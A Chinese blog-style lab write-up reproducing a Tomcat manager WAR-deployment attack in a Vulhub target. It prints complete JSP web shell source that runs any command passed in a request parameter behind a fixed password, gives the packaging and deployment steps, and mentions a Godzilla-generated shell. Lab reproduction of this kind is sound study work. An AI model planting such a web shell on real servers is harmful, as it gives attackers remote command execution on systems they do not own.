昨儿个面试被问到如何通过tomcat拿shell,之前只是看到,没做过复现,导致自己吃了亏,刚入渗透不久。复现的漏洞太少,经验方面还是远远不够的,一点一点来。复现过程可能比较粗糙,有什么错误还希望各位大哥给小弟指点一番。
靶场搭建:
百度一下,vulhub里边就有
漏洞复现:
进入靶场,找到后台。默认的话是在manager
准备好马,打包成war包
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
//ps:马的出处:https://blog.csdn.net/Jerry____/article/details/103387763
执行:jar -cvf [war包名称].war 打包目录
a.jsp 的话是一句话木马,大家需要的话,可以自己找一下一些有用的马(我找的这个马不好用,就不做记录了)
上传,部署war包
可以看到应用列表已经出现了我们的目录:
访问一下:whoami 成功回显,漏洞复现算是成功了。
有些命令是回显不了的,大概是马不太行。
用哥斯拉生成了一个jsp一句话,重新部署,成功连接,拿到shell